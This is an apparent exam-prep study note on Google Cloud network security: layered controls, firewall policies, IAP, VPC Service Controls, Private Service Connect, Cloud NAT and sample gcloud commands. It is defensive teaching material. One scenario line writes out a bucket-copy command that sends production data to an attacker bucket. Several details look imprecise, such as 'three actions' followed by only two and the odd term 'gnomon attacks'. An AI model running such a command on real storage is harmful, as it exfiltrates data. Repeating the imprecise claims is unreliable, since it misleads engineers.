Network Security Best Practices

Introduction to Network Security Best Practices

Network security in Google Cloud is rarely a single product question. PCNE exam scenarios almost always describe a regulated workload (PCI, HIPAA, FedRAMP) that needs Cloud Armor at the edge, hierarchical firewall policies in the middle, IAP for application access, VPC Service Controls around the data plane, Private Service Connect to eliminate public IPs, and Cloud NAT for outbound-only egress — all at once. The "best practices" topic is the integration glue between every other PCNE topic, and the questions test whether you can pick the right layer for a given threat, not whether you can recite a single feature's documentation.

This study note maps each PCNE security control to its threat model, gives concrete gcloud and API field references, and ends with a reference architecture that aligns with Google's published BeyondCorp Enterprise and Secure Foundation blueprints. The pattern to memorise: identity at the front, network in the middle, data perimeter at the back, observability across all three.

Plain-Language Explanation: (Plain English Explanation)

Cloud security is never about a single wall. The PCNE exam expects you to think in layers, and the easiest way to internalise that is to picture three completely different physical security setups. Each analogy maps to a real PCNE feature cluster.

Think of Your VPC as a Modern Bank Branch

The bank's perimeter is the parking lot fence with cameras (Cloud Armor + edge security policy) — it stops obvious threats before they reach the building. The lobby has identity verification at the door (IAP) where staff check your ID against the appointment list before letting you in. Inside, doors to the vault are gated by badge readers tied to your role (VPC firewall policies with service-account targets, IAM). The vault itself sits inside a secure room with no windows or external connections (VPC Service Controls + Private Service Connect). And there are cameras everywhere recording who went where (VPC Flow Logs, Cloud Audit Logs). No single layer is enough — defeat the parking lot and you still face ID check, badge gates, the vault wall, and a recorded video trail.

Think of Hierarchical Firewall Policies as a Corporate Dress Code

A multinational corporation has one global dress code published from headquarters (organization-level firewall policy: "no flip-flops, ever"). Each regional HQ adds its own twist (folder-level policy: "EU offices require business casual on Fridays"). Each individual office can refine further but cannot override the global rule (project-level VPC firewall rules). When you fly between offices, the rules layer automatically — and a new office cannot opt out of the global no-flip-flops mandate. This is exactly how hierarchical firewall policies inherit from organization → folder → project → VPC, with deny rules at higher levels overriding lower-level allows.

Think of VPC Service Controls as a Diplomatic Bag

Diplomatic bags are a special legal construct: customs cannot open them, no matter who is carrying them or where they are crossing. VPC Service Controls work similarly for your data — once a Cloud Storage bucket or BigQuery dataset is inside a service perimeter, nothing outside the perimeter can read it, even if an attacker steals a valid service account key with full IAM permissions. The key part: IAM says who can do what, but VPC-SC says from where. Both must allow the action, so a leaked credential becomes useless from a public IP.

Defense-in-Depth: The Five Security Layers

Google's PCNE blueprint defines five overlapping layers. Every exam scenario maps to one or more of them.

Layer 1: Edge (Cloud Armor + Edge Security Policy)

The first stop is the public Points of Presence (PoPs) where Cloud Armor inspects every request before it enters your VPC. Edge security policies attach to backend buckets and Cloud CDN-enabled backend services and apply IP/Geo/method filters before the cache lookup, blocking poisoned cache hits as well as origin traffic. Backend security policies cover the OWASP ModSecurity CRS WAF, custom CEL expressions, rate-based ban, and Adaptive Protection's Bayesian ML.

Layer 2: Network Perimeter (VPC Firewall Policies + Hierarchical Policies)

Inside your VPC, firewall policies enforce east-west and north-south traffic rules. Hierarchical policies enforce at organization or folder level, ensuring a tenant project cannot accidentally open SSH to 0.0.0.0/0. Network firewall policies attach to a single VPC and use rule priorities 0–2,147,483,647 with first-match semantics.

Layer 3: Application Identity (IAP)

Identity-Aware Proxy handles per-request identity for HTTPS, SSH, TCP, and even on-prem applications. Instead of opening a port to a corporate VPN range, you grant roles/iap.tunnelResourceAccessor to specific Google identities and IAP brokers the connection only after verifying user, device posture, and context.

Layer 4: Data Perimeter (VPC Service Controls)

VPC-SC draws a ring around BigQuery, Cloud Storage, Cloud KMS, Pub/Sub, and 30+ other API surfaces. A request from outside the perimeter — even with valid IAM — gets PERMISSION_DENIED: vpcServiceControlsUniqueIdentifier. This is your data exfiltration moat.

Layer 5: Observability (VPC Flow Logs + Firewall Insights + Cloud Audit Logs)

You cannot defend what you cannot see. VPC Flow Logs sample 5-tuple traffic at the VM NIC level. Firewall Insights uses ML to flag shadow rules, overly permissive rules, and rules with no hits in 30+ days. Cloud Audit Logs record every IAM and firewall mutation.

Perimeter Defense: Cloud Armor and Edge Security Policies

The exam loves Cloud Armor topology questions because half of candidates confuse edge vs backend policies.

Edge Security Policy Targets

Edge security policies attach to two resource types only: backend buckets (Cloud Storage origins behind a Global External Application LB) and Cloud CDN-enabled backend services. They evaluate at Google's PoP before the CDN cache lookup, so a blocked request never even hits cache.

Edge Policy Match Restrictions

Edge policies support only srcIpRanges, origin.region_code, and request.method. They cannot inspect request bodies, URL paths, or headers — that is the backend policy's job. The trade-off is latency: edge enforcement adds zero round-trips because it happens at the same PoP that terminates the TLS handshake.

Composing Edge with Backend Policies

A common production layout: edge policy at priority 1000 denies traffic from non-shipping countries; cache hits serve immediately; cache misses fall through to the backend policy which runs OWASP CRS, custom CEL, and rate-based ban. The edge policy also covers Cloud CDN's poisoned-cache scenario — without it, a single cache fill from a malicious request can serve attacker-controlled bytes to every subsequent user in the country.

Adaptive Protection at the Edge

Adaptive Protection's Bayesian ML lives on backend security policies, not edge. The signature it emits is a CEL expression — you apply it as a backend policy rule. Edge policies stay purely declarative.

VPC Firewall Policies and Hierarchical Enforcement

Firewall policies are the PCNE blueprint's primary internal control, replacing the legacy "VPC firewall rules" for most new deployments.

Hierarchical Firewall Policies

Hierarchical policies attach to organization or folder resources and apply to every VPC in scope. They support three actions beyond allow/deny: goto_next (skip this policy, evaluate the next layer) and apply_security_profile_group (route through Cloud NGFW intrusion prevention). Hierarchical policies evaluate before network firewall policies, before VPC firewall rules, and before implicit rules.

Network Firewall Policies

Network firewall policies attach to a single VPC and replace the legacy compute.firewalls resource. They support targeting by network tag, service account, and secure tags (IAM-controlled tags that any user cannot self-assign). Rule priorities range 0–2,147,483,647 with first-match semantics. A goto_next action skips the policy in favour of lower-priority sources.

Secure Tags vs Network Tags

Network tags (compute.instances.tags) can be set by anyone with compute.instances.setTags — a low-privilege role. Secure tags (tagBindings) require roles/resourcemanager.tagUser on the tag itself, so an attacker with VM edit cannot grant their VM access to a "production" tag-targeted rule. The exam answer for "tag-based firewall rules but prevent privilege escalation" is always secure tags.

Sample Hierarchical Deny Rule

gcloud compute firewall-policies create org-baseline \
  --organization=123456789 \
  --description="Org-wide network baseline"

gcloud compute firewall-policies rules create 1000 \
  --firewall-policy=org-baseline \
  --action=deny \
  --direction=INGRESS \
  --src-ip-ranges=0.0.0.0/0 \
  --layer4-configs=tcp:22 \
  --description="No SSH from internet, ever"

IAM Least Privilege for Networking

IAM design errors create network vulnerabilities. The PCNE exam expects you to map roles to job functions.

Networking-Specific Roles

• roles/compute.networkAdmin — manage networks, subnets, routes, firewall rules, but cannot SSH into VMs or read instance data.
• roles/compute.securityAdmin — manage firewall rules and SSL certs only; complements networkAdmin in a SoD pattern.
• roles/compute.networkUser — use Shared VPC subnets from a service project but cannot modify them.
• roles/compute.networkViewer — read-only across networking resources for auditors.
• roles/iap.tunnelResourceAccessor — connect through IAP tunnels to specific VMs.

Separation of Duties

Production networks should never have a single human with both compute.networkAdmin and compute.securityAdmin. The pattern: network team gets networkAdmin (route, peering, subnet); security team gets securityAdmin (firewall rules, SSL); ops gets only roles/iap.tunnelResourceAccessor on production VMs.

Avoid Project-Level Owner

roles/owner includes compute.firewalls.update and can disable Cloud Armor policies. The remediation is custom roles or pre-defined granular roles — never give human users project Owner on production.

IAP: Zero-Trust Application Access

Identity-Aware Proxy replaces VPN for almost every PCNE exam answer that involves "secure access to internal app."

IAP for HTTPS Applications

Attach IAP to a backend service of an External or Internal Application LB. Every request gets brokered through Google's identity layer: the user authenticates with Google or workforce identity federation, IAP issues a signed JWT, and your application validates the JWT via x-goog-iap-jwt-assertion. The application sees the verified email in x-goog-authenticated-user-email so it never re-authenticates.

IAP TCP Forwarding

For SSH, RDP, and arbitrary TCP, the gcloud compute start-iap-tunnel command brokers a tunnel through IAP without opening a firewall port to the internet. The VM's firewall rule only needs to allow IAP's source range 35.235.240.0/20.

Context-Aware Access

IAP integrates with Access Context Manager for device posture, IP CIDR, geo, and time-of-day conditions. A common BeyondCorp pattern: roles/iap.httpsResourceAccessor granted only when device.is_corp_owned == true && origin.region_code == 'US'. A compromised credential used from a personal laptop in a different country fails the access policy before IAP authenticates.

IAP for On-Prem Apps

The On-Prem Connector (formerly "App Connector") makes IAP front-end an on-prem application reachable over private connectivity. The app does not need to be moved to GCP — IAP brokers connections through a connector VM in your VPC, gives you SSO + context-aware access, and the on-prem firewall sees only the connector's IP.

VPC Service Controls for Data Exfiltration Prevention

VPC-SC is the PCNE exam's answer to "what stops a compromised admin from copying data out?"

Service Perimeter Basics

A service perimeter encloses a set of projects and the GCP APIs you choose (BigQuery, Storage, KMS, Pub/Sub, AI Platform, Dataflow, etc.). Any API call to a protected service from outside the perimeter fails with VPC_SERVICE_CONTROLS_VIOLATION, even if the caller has valid IAM.

Ingress and Egress Rules

Modern VPC-SC perimeters support ingress and egress rules for explicit cross-perimeter allow-lists. An ingress rule might say: "allow [email protected] calling bigquery.googleapis.com from corp-perimeter into prod-perimeter." Without an explicit rule, every cross-perimeter call is denied.

Access Levels and Context

Access levels (managed by Access Context Manager) describe who or what is allowed in. Conditions combine device posture, IP CIDR, geographic region, user identity group, and required access policies. A perimeter referencing an access level acts as "allowed when conditions are met, otherwise denied."

Common VPC-SC Scenarios

• BigQuery data exfiltration — perimeter around analytics project means a leaked service account key cannot bq extract to a public bucket.
• Cloud Storage gnomon attacks — gsutil cp gs://prod/* gs://attacker/ fails because the destination is outside the perimeter.
• Compromised admin — even an Owner cannot escape the perimeter; they must satisfy the access level.
• Cross-project analytics — explicit ingress/egress rules allow legitimate cross-project queries.

Private Service Connect: Eliminating Public IPs

PSC is the modern way to access Google APIs and third-party services without an external IP or public route.

PSC for Google APIs

Instead of giving your VPC a route to the public googleapis.com IP space, create a PSC endpoint with a private IP in your subnet that resolves *.googleapis.com (or a service-specific endpoint like bigquery-private.googleapis.com). DNS is automatic via the private.googleapis.com VIP 199.36.153.8/30.

PSC for Published Services

Service producers publish a service attachment; consumers create an endpoint in their VPC pointing at the producer's NLB. Traffic flows over Google's network only — no peering, no public IPs, no overlapping CIDRs to coordinate. A SaaS vendor can publish a service attachment per customer to give each consumer a private, isolated endpoint.

PSC vs Private Google Access vs Private Service Access

• Private Google Access — a subnet-level setting; VMs without external IPs reach Google APIs via the implicit route to 199.36.153.8/30.
• Private Service Access — VPC peering to a Google-managed VPC for services like Cloud SQL, Memorystore, AlloyDB. Allocates a /24 from your VPC.
• Private Service Connect — newer, IP-conflict-free, more granular. Use PSC for any new design unless the service only supports PSA.

PSC Endpoint Quotas

A project supports up to 75 PSC endpoints per region for Google APIs and up to 250 for published services. Endpoints consume IPs from your subnet, so plan subnet sizing accordingly.

Cloud NAT for Outbound-Only Egress

Cloud NAT lets private VMs reach the internet without owning a public IP, which closes the largest single attack surface in most architectures.

Outbound-Only by Design

A VM with no external IP cannot receive unsolicited inbound traffic from the internet. Cloud NAT translates outbound traffic to a pool of regional NAT IPs you control. The PCNE exam canonical scenario: "private GKE cluster pulls images from Docker Hub" — answer is Cloud NAT, not external IPs on every node.

Port Allocation and Saturation

Each NAT IP provides 64,512 ephemeral ports. With the default static allocation, a single VM consumes 64 ports per IP. The math: 64,512 ÷ 64 = 1,008 VMs per NAT IP. Beyond that you need dynamic port allocation (DPA) which scales ports up and down based on usage, or you add more NAT IPs to the pool.

NAT Logging

Enable NAT logging on the Cloud NAT gateway to record translations to Cloud Logging. Set --enable-logging --log-filter=ALL for full visibility. Critical for outbound exfiltration investigations.

Cloud NAT vs PSC

If the destination is a Google API, prefer PSC (no NAT translation, no egress charges, lower latency). Use Cloud NAT only for third-party internet destinations like Docker Hub, npm, PyPI, partner APIs.

VPC Flow Logs and Firewall Insights

Observability is the fifth defense layer and the answer to many PCNE exam questions about troubleshooting and audit.

VPC Flow Logs Configuration

Enable per subnet with --enable-flow-logs. Tune sampling with --logging-aggregation-interval (5s, 30s, 1m, 5m, 10m, 15m) and --logging-flow-sampling (0.0–1.0). Default sampling of 0.5 captures half of flows; production observability often runs at 1.0 for security-critical subnets and 0.1 for high-volume non-sensitive subnets. Each log entry includes 5-tuple, bytes, packets, and VPC metadata.

Firewall Insights and Shadow Rules

Firewall Insights uses ML on flow logs and firewall hit counts to identify three classes of rule problems:

• Shadowed rules — a higher-priority rule fully covers the rule's match, so it never fires.
• Overly permissive rules — 0.0.0.0/0 source with port 22, etc. — flagged as risk.
• Unused rules — no hits in 30 days, candidate for removal.

Query via firewallinsights.googleapis.com API or the Firewall Insights UI in the Console.

Log Analytics Integration

Route Flow Logs to BigQuery (--logging-aggregation-interval=5s plus an export sink) for SQL-driven incident response. The standard schema includes connection.src_ip, connection.dest_ip, bytes_sent, start_time, end_time, and VPC/subnet metadata. Detection queries like "external IPs talking to internal DB ports" run as scheduled BigQuery jobs.

BeyondCorp Enterprise Patterns

BeyondCorp Enterprise (BCE) is Google's commercial zero-trust offering and the PCNE exam's reference pattern for modern access.

Core BeyondCorp Tenets

• Trust no network — neither corporate Wi-Fi nor home Wi-Fi is implicitly trusted.
• Authenticate every request — IAP + identity provider on every API call, not once at VPN connect.
• Authorize by context — user, device, geo, time, application risk.
• Continuous verification — sessions revoke if device falls out of compliance.

BCE Building Blocks

• Chrome Enterprise with managed posture (OS version, screen lock, disk encryption).
• Endpoint Verification for non-Chrome devices reports posture to Access Context Manager.
• Access Context Manager translates posture and identity into access levels.
• IAP enforces access levels on per-request basis for web, SSH, and TCP.
• Cloud Identity Premium or Workforce Identity Federation for user identity.

Zero-Trust vs Network-Centric

A network-centric design opens VPN to a /16 corporate range; once on the VPN, you can hit any internal app. A BCE design grants roles/iap.httpsResourceAccessor to the user only for the specific apps they need, with conditions tied to device posture. A stolen laptop loses access the moment it falls out of compliance.

Reference Architecture: Regulated Multi-Tier Workload

A consolidated PCNE-aligned design for a regulated web application with database and analytics.

Network Topology

• Shared VPC in a prod-host-project, with subnets for web tier, app tier, and data tier in us-central1 and europe-west1.
• Web tier behind a Global External Application LB with Cloud CDN, Cloud Armor edge + backend policies, and IAP on /admin.
• App tier in private subnets, no external IPs, reached only via the LB or IAP TCP forwarding.
• Data tier in private subnets with Cloud SQL on Private Service Access and Cloud Storage via PSC.
• Egress via Cloud NAT with NAT logging enabled to Cloud Logging.

Security Controls

• Hierarchical firewall policy at org level denying SSH (tcp:22) from 0.0.0.0/0 to every VPC, no exceptions.
• Network firewall policy on the Shared VPC allowing tier-to-tier traffic via secure-tag targets, denying all else.
• VPC Service Controls perimeter around prod-data-project covering BigQuery, Cloud Storage, KMS, and Pub/Sub.
• IAP TCP forwarding for all admin SSH; no external IPs on any VM.
• BeyondCorp Enterprise access levels requiring corp-owned device + US/EU geo for admin paths.
• VPC Flow Logs at sampling 1.0 on data-tier subnets, 0.5 on web/app tiers, exported to BigQuery via log sink.
• Firewall Insights monitored monthly; shadow rules pruned.

Why This Survives Compromise

If an attacker phishes an admin's credentials and steals a service account key:

1. Without device posture, IAP rejects access to the admin path under BCE conditions.
2. Without a route from public internet to internal subnets, the credential alone cannot reach Cloud SQL or Cloud Storage VMs.
3. Calls to BigQuery or Storage fail with VPC_SERVICE_CONTROLS_VIOLATION outside the perimeter.
4. VPC Flow Logs and Cloud Audit Logs record every attempt; alerting fires on PERMISSION_DENIED spike.

Common Pitfalls and PCNE Exam Traps

The exam exploits these recurring misconceptions:

• "Cloud Armor protects internal LBs" — false. Cloud Armor attaches to External Application LB and External Proxy NLB only. For internal LBs, use VPC firewall policies + Cloud IDS.
• "VPC-SC blocks VM-to-VM traffic" — false. VPC-SC protects API surfaces (BigQuery, GCS, KMS); VM-to-VM traffic is firewall policy territory.
• "Hierarchical policies override VPC firewall rules" — partially true. They evaluate first, so a deny at hierarchical level is final, but a hierarchical goto_next falls through to lower layers.
• "Network tags are secure" — false. Any user with compute.instances.setTags can change them. Use secure tags or service accounts as firewall targets in production.
• "IAP requires a VPN" — false, opposite. IAP replaces VPN by brokering identity-aware tunnels.
• "Private Google Access removes the need for a route to internet" — true, but PGA is subnet-level and applies to Google APIs only; third-party APIs still need Cloud NAT or PSC for published services.
• "PSC and Private Service Access are the same" — false. PSA uses VPC peering and consumes IP space from your VPC. PSC uses endpoints and avoids IP conflicts.

gcloud Quick Reference

Common commands for the PCNE security stack:

# Hierarchical firewall policy deny-SSH-from-internet
gcloud compute firewall-policies create org-baseline --organization=123 \
  --description="No SSH from internet"
gcloud compute firewall-policies rules create 1000 \
  --firewall-policy=org-baseline \
  --action=deny --direction=INGRESS \
  --src-ip-ranges=0.0.0.0/0 --layer4-configs=tcp:22

# Network firewall policy with secure-tag target
gcloud compute network-firewall-policies create app-policy --global
gcloud compute network-firewall-policies rules create 1000 \
  --firewall-policy=app-policy --global-firewall-policy \
  --action=allow --direction=INGRESS \
  --src-secure-tags=tagValues/12345 \
  --layer4-configs=tcp:8080

# VPC Service Controls perimeter
gcloud access-context-manager perimeters create prod-perimeter \
  --title="Prod Data Perimeter" \
  --resources=projects/PROJECT_NUM \
  --restricted-services=bigquery.googleapis.com,storage.googleapis.com

# Enable VPC Flow Logs
gcloud compute networks subnets update prod-data-subnet \
  --region=us-central1 \
  --enable-flow-logs \
  --logging-aggregation-interval=interval-5-sec \
  --logging-flow-sampling=1.0

# Cloud NAT with logging
gcloud compute routers nats create prod-nat \
  --router=prod-router --region=us-central1 \
  --nat-all-subnet-ip-ranges --auto-allocate-nat-external-ips \
  --enable-logging --log-filter=ALL

# IAP TCP tunnel to a private VM
gcloud compute start-iap-tunnel prod-bastion 22 \
  --local-host-port=localhost:2222 --zone=us-central1-a

Frequently Asked Questions (FAQ)

Should I use network tags or service accounts for firewall targeting?

Service accounts and secure tags are both more secure than network tags. Network tags can be changed by anyone with compute.instances.setTags. Service-account targets require iam.serviceAccountUser on the SA. Secure tags require resourcemanager.tagUser on the tag. For PCI/HIPAA workloads, prefer secure tags because they are IAM-controlled and survive VM recreation.

How do hierarchical firewall policies and VPC firewall rules interact?

Evaluation order: hierarchical org policy → hierarchical folder policy → global network firewall policy → regional network firewall policy → VPC firewall rules → implicit deny-ingress / allow-egress. A deny at any layer terminates evaluation. A goto_next action lets the request fall to the next layer. This means an org-level deny rule cannot be overridden by a project-level allow.

When do I use VPC Service Controls vs firewall policies?

They protect different surfaces. Firewall policies control IP-based traffic between VMs and from the internet to LBs. VPC Service Controls protect API calls to managed services like BigQuery, Storage, KMS, and Pub/Sub. A compromised VM with valid IAM can still call BigQuery without VPC-SC; with VPC-SC, the call fails from outside the perimeter. Use both together for regulated workloads.

Should I use IAP or VPN for developer SSH access?

IAP TCP forwarding is the PCNE-canonical answer for new designs. It removes the need for a VPN, eliminates external IPs on VMs, integrates with Google identity for SSO + 2FA, supports context-aware access (device posture, geo), and records every connection in Cloud Audit Logs. VPN remains useful only for legacy applications that cannot be fronted by IAP — modern PCNE answers should default to IAP.

How do I prevent data exfiltration if a service account key leaks?

Two complementary controls. First, VPC Service Controls ensures the leaked key cannot call BigQuery, Storage, or other restricted services from outside the perimeter, regardless of IAM. Second, Cloud Audit Logs on cloudaudit.googleapis.com records every API call with the caller identity; alerting on PERMISSION_DENIED: vpcServiceControlsUniqueIdentifier notifies you within minutes. The pre-VPC-SC era depended on IAM rotation, which is too slow.

What's the difference between Private Google Access, Private Service Access, and Private Service Connect?

Private Google Access is a subnet flag that lets private VMs reach *.googleapis.com via the implicit route. Private Service Access is VPC peering to a Google-managed VPC for products like Cloud SQL, allocating a /24 from your VPC's IP space. Private Service Connect is the newest, conflict-free model: you create a private endpoint in your subnet that resolves to a Google API or a published service. Prefer PSC for new designs; PSA remains required for Cloud SQL legacy patterns.

How does Cloud NAT differ from giving each VM an external IP?

Cloud NAT shares a pool of regional NAT IPs across many VMs, eliminating the per-VM external IP attack surface. Each NAT IP supports 64,512 ephemeral ports; with default 64-port-per-VM static allocation, you fit ~1,000 VMs per NAT IP. Dynamic port allocation scales this up. Crucially, NAT is outbound-only — internet hosts cannot initiate connections back, even to the NAT IP. External IPs are bidirectional and create an inbound attack surface.

What does Firewall Insights actually detect?

Three rule-quality issues. Shadowed rules are fully covered by higher-priority rules and never fire. Overly permissive rules match very large source ranges (e.g., 0.0.0.0/0) and broad port ranges — flagged as risk. Unused rules have zero hits in 30 days and are candidates for deletion. Firewall Insights uses VPC Flow Logs and rule hit counters as inputs, so flow logs must be enabled on the relevant subnets for analysis to work.

Related Topics

• pcne-cloud-armor — edge/backend policies, OWASP CRS, Adaptive Protection.
• pcne-firewalls-policies — hierarchical vs network firewall policies, secure tags.
• pcne-cloud-nat — NAT IP allocation, port saturation, dynamic port allocation.
• pcne-packet-mirroring-flow-logs — VPC Flow Logs and Packet Mirroring deep dive.

Further Reading

• Firewall policies overview: https://cloud.google.com/vpc/docs/firewall-policies
• VPC Service Controls overview: https://cloud.google.com/vpc-service-controls/docs/overview
• Identity-Aware Proxy concepts: https://cloud.google.com/iap/docs/concepts-overview
• Private Service Connect overview: https://cloud.google.com/vpc/docs/private-service-connect
• VPC Flow Logs: https://cloud.google.com/vpc/docs/flow-logs
• Firewall Insights overview: https://cloud.google.com/vpc/docs/firewall-insights-overview
• BeyondCorp Enterprise overview: https://cloud.google.com/beyondcorp-enterprise/docs/overview
• Security foundations blueprint: https://cloud.google.com/architecture/security-foundations